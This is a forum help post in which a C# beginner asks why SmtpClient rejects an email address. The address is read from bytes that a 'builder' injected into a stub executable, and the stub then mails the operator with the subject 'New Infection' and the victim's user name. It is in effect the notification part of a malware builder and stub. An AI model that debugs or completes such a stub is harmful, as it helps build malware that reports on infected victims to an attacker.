"the specified string is not in the form required for an e-mail address" Help please! (Since i can't post in c# ill post it here)

  • Thread starter Thread starter SnakeGhos
  • Start date Start date
S

SnakeGhos

Guest
Hello! so i'm kinda new to c# programming now and i can do advanced stuff.

I did a program builder which injects binary data into a program which reads it and sets some variables.

I'm doing an program to train myself that sends an email to someone when the email is injected.

But whenever it does it. "the specified string is not in the form required for an e-mail address" this error comes up....

I did try to do something like:

public string email = "myemail";

Then did:

try
{
SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
client.EnableSsl = true;
client.Timeout = 10000;
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.UseDefaultCredentials = false;
client.Credentials = new NetworkCredential("emailToSendFrom", "pass");
MailMessage msg = new MailMessage();
msg.To.Add(email);
msg.From = new MailAddress("emailToSendFrom");
msg.Subject = "New Infection [TICKET: " + userName + "]";
msg.Body = "Email sent!"
client.Send(msg);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
It worked!

But then i need the program to read binary data so i did:

try

{
using (StreamReader streamReader = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location))
{
using (BinaryReader binaryReader = new BinaryReader(streamReader.BaseStream))
{
byte[] stubBytes = binaryReader.ReadBytes(Convert.ToInt32(streamReader.BaseStream.Length));
//Email Checker
string stubEmail = Encoding.ASCII.GetString(stubBytes).Substring(Encoding.ASCII.GetString(stubBytes).IndexOf(""));
if (stubEmail.Contains("Email:"))
{
string toBeSearched = "Email:";
string EmailCheck = stubEmail.Substring(stubEmail.IndexOf(toBeSearched) + toBeSearched.Length);
email = EmailCheck;
MessageBox.Show("Email Check: " + email);
}
}
}
The email is correctly set.

But when its set to the email code it doesn't work..

So basically when its injected it does not work even if its correctly set since i did a message box and saw its exactly what i typed into my injector.

But nope i guess this error :( please help!

Continue reading...
 
Back
Top